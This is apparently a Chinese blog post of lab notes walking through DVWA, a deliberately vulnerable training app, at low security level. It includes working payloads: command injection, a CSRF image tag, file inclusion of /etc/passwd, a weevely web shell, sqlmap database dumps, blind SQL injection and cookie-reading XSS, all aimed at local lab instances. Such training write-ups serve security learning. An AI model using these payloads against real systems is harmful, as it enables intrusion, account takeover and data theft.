首页 > 其他分享 >DVWA渗透测试笔记 low篇

DVWA渗透测试笔记 low篇

时间:2023-02-13 01:00:42浏览次数:56  
标签:XSS php DVWA dvwa 笔记 服务器 document low

DVWA配置

项目地址:https://github.com/digininja/DVWA.git

clone到服务器目录下即可

将DVWA目录拷贝到Kali的Apache服务器目录/var/www/html下,启动Apache和mysql服务。

service mysql start
service apache2 start

root下创建mysql用户,修改dvwa配置文件

sudo mysql -uroot -proot
create user mika@localhost identified by '密码';
grant all on *.* to mika@localhost;
flush privileges;

浏览器进入Setup / Reset DB界面,点击create / Reset database,如果下面出现Setup successful!即成功。(注意win10下可能无法配置成功)点击Log out,用户名admin,口令password即可登录

点击左边栏的DVWA Security设置安全级别为low

1.Brute Force

第一题考察暴力破解口令,尝试使用BurpSuite的字典攻击功能,主要就是先构建一个口令字典,包含所有可能的口令,然后BurpSuite帮你一个个尝试。

我们用户名输入admin,口令任意输入后,用BurpSuite截获请求。将请求内容粘贴到Intruder下面的Positions中,并刷黑口令password部分,点击右边的Add,即可标记一个字典遍历点。将Target里的Host改为dvwa服务器地址

image

接下来点击Payloads,在Payload Options来构建字典,这里加入了4个可能的口令

image

点击Start attack即可发起字典攻击。本题中具体哪个口令是正确的需要观察Response,如果出现welcome就是正确的。

image

2.Command Injection

命令注入,可以在命令后面使用& && | || ;等拼接命令

ping 127.0.0.1 | net user	# 查看本机用户账户

3.CSRF

CSRF(Cross-Site Request Forgery,跨站脚本伪造):当用户登录了站点A时,攻击者利用脚本使得被攻击者浏览器被迫(不是骗点击)向站点A发送伪造请求,并借用被攻击者的session或者cookie获得在站点A上的权限

dvwa中,用户可以修改密码,假设修改的密码为111,则会通过GET方式访问一个url

http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#

所以攻击者只要构造一个恶意网页,其内容是包含这个url的图片,那么用户在登录dvwa的同时,访问了这个网页,就会被不知情地修改密码。(注:有些浏览器可能会限制img这种方法,Kali的火狐不会限制)

<img src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#"/>
<h1>你被修改密码了</h1>

4.File Inclusion

文件包含指的是:页面可以通过include方法执行代码文件,攻击者可以利用这个漏洞让页面去执行恶意代码

Kali的php.ini位于/etc/php/7.4/apache2/php.ini,使用service apache2 restart即可更新配置。php文件必须放在Apache目录下才能用浏览器运行

点击file3.php可以看到url为

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php

此外,该php还含有读取相关系统信息的代码,这表明这些代码被dvwa页面执行了。如果用其他文件路径(如/etc/passwd)替换file3.php,即可泄露文件内容。甚至可以远程执行,如http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://192.168.0.111:8081/dashboard/

image

5.File Upload

文件上传:先把写好的脚本上传,然后获取上传后的路径,最后手动执行脚本,三部曲缺一不可。在kali中可以使用weevley工具来生成脚本并执行,类似win端的中国菜刀

先使用weevley生成一句话木马的php脚本caidao.php,设定一个密码1234

weevely generate 1234 caidao.php

然后将脚本上传到dvwa,上传的目录为DVWA/hackable/uploads

最后通过weevely URL password来获取服务器权限,可以执行任意命令

weevely http://127.0.0.1/DVWA/hackable/uploads/caidao.php 1234
weevely> ls

image

6.Insecure CAPTCHA

查看源码可知,当POST的step值为2时,可以绕过CAPTCHA验证,直接修改密码

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check to see if both password match
    if( $pass_new == $pass_conf ) { 

所以只要用BS截获,并修改step=2,即可Password Changed.

7.SQL Injection

输入‘ or 1=1 #可查询所有用户信息

扫描注入点:注意url中需要包含get项

sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli?id=1&Submit=Submit#"

image

可以看到出现注入点id,通过4种类型的攻击可以检测出来

-h:帮助
sqlmap -u "url" --dbs:扫描站点的数据库
-D dvwa --tables:扫描dvwa数据库中的表
-D dvwa -T users --columns:users表中的列
-D dvwa -T users --columns --dump:users表的内容

8.SQL Injection (Blind)

盲注指的是攻击者无法从页面获取执行结果时进行的注入。盲注有三种:布尔盲注、基于时间的盲注、基于报错的盲注

本题只会显示表中有无所查项,但仍然能通过盲注来获取大量信息

布尔盲注判断有无注入点:输入' or 1=1 #,返回User ID exists in the database.;而输入' or 1=2 #返回User ID is MISSING from the database.,结果不同表明存在注入点

时间盲注判断注入点:输入1 and sleep(5) #没有延迟;输入1' and sleep(5) #有明显延迟

9.Weak Session IDs

弱会话ID:用户的会话ID保存在服务器端,攻击者可以猜测用户的弱会话ID,从而获取该网站的用户权限

点击Generate前,使用BurpSuite拦截请求(注意dvwa的url不能是127.0.0.1,否则无法拦截),发现每点击一下Generate,Cookie中的dvwaSession就会+1

Cookie: dvwaSession=1; security=low; PHPSESSID=gnjgjind7p02v2onc06h65cc3f
Cookie: dvwaSession=2; security=low; PHPSESSID=gnjgjind7p02v2onc06h65cc3f

于是清除浏览器的cookie缓存,然后回到http://192.168.10.129/DVWA/主界面,会发现用户为Unknown

这时如果拦截访问请求,并修改cookie为Cookie: dvwaSession=2; security=low; PHPSESSID=gnjgjind7p02v2onc06h65cc3f,发现登录的用户变为了admin,这表明会话被重用了

10.XSS(DOM)

XSS主要用于攻击者通过注入网络应用来向其他用户发送恶意代码,而被攻击用户的浏览器如果不加判断,则会无脑执行恶意代码

  • DOM based XSS不借助服务器来传恶意代码,直接通过DOM在本地执行
  • 反射型XSS中恶意参数需要通过服务器发送到用户的浏览器,但不改变服务器数据库
  • 存储型XSS将恶意代码注入到服务器数据库中,这样用户只要访问服务器页面,就会查询数据库获得恶意代码

DOM based XSS是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而是从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM based XSS漏洞。

该页面用于选择页面语言。选择English并点击Select后,URL变为http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English

查看源码,可以看到js将default后面的内容(English)赋给了变量lang,而lang的内容decodeURI(lang)又被放入了option标签之间被解释执行了,这说明"default="后面的任意js脚本内容可以被浏览器执行

<form name="XSS" method="GET">
    <select name="default">
        <script>
            if (document.location.href.indexOf("default=") >= 0) {
                var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
                document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
                document.write("<option value='' disabled='disabled'>----</option>");
            }

            document.write("<option value='English'>English</option>");
            document.write("<option value='French'>French</option>");
            document.write("<option value='Spanish'>Spanish</option>");
            document.write("<option value='German'>German</option>");
        </script>
    </select>
    <input type="submit" value="Select" />
</form>

因此我们可以构造一个js脚本赋值给lang来执行。比如

http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>

这样<script>alert(document.cookie)</script>就会被放入option标签之间,并被解释执行,跳出弹窗显示cookie

image

11.XSS(Reflected)

反射型XSS:用户输入(或者被骗点击了一个链接)包含恶意参数,通过浏览器提交给服务器,服务器会将由恶意参数导致的恶意代码反射给浏览器并执行。反射型XSS不会修改服务器数据

很简单,直接在文本框里面填js脚本<script>alert(document.cookie)</script>即可

12.XSS(Stored)

存储型XSS也被称为持久型XSS,攻击者将恶意代码注入到服务器数据库中,这样用户只要访问服务器页面,就会查询数据库获得恶意代码

此题给出两个文本框,填入1和2后,会将其信息插入到数据库中,然后查询数据库返回结果到html,并被解释执行。

查看源代码可以看到

<div id="guestbook_comments">Name: 1<br />Message: 2<br /></div>

这表明,如果在文本框里填入js脚本,也夹在br标签之间被浏览器解释执行

由于第一个框有长度限制,第二个框直接填入js脚本<script>alert(document.cookie)</script>即可弹窗

13.Content Security Policy (CSP) Bypass

内容安全策略:网站在HTTP头中建立一个白名单,只允许加载白名单里的网站脚本。本题中白名单包括self(本站)、pastebin.com等。所以可以通过攻击受信网站的方式来攻击服务器

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.

header($headerCSP);

首先在服务器目录下创建一个csp.js文件,内容为

alert(document.cookie)

然后include该文件的url:http://192.168.10.129/csp.js,可以发现跳出弹窗

此外,受信的网站https://pastebin.com可以将输入的js代码转为该网站下的一个URL,这样dvwa去include这个URL,即可执行代码(但是在Kali的火狐上未成功)

14.JavaScript Attacks

本题主要考察浏览器中js的使用

查看源码,页面将Phrase文本框中的内容经过rot13(一种凯撒密码,将)和md5两个操作作为了token

image

填写success,结果token错误,使用BurpSuite拦截发现

token=8b479aefbd90795395b3e7089ae0dc09&phrase=success&send=Submit

而在浏览器的console计算发现截获的token并不是success计算出来的,而是原来默认的ChangeMe计算出的值。这是因为js使用前端html中的值作为参数,计算出来token再发给后端,而前端的值ChangeMe就没变过,所以token也一直不会改变

image

两种方法解决:

  • 使用BurpSuite将请求中的token替换为上面success计算出的值再发送,即可出现Well done!
  • 在console手动执行generate_token("success")更新token,再发送即可出现Well done!

标签:XSS,php,DVWA,dvwa,笔记,服务器,document,low
From: https://www.cnblogs.com/nemuzuki/p/17115103.html

相关文章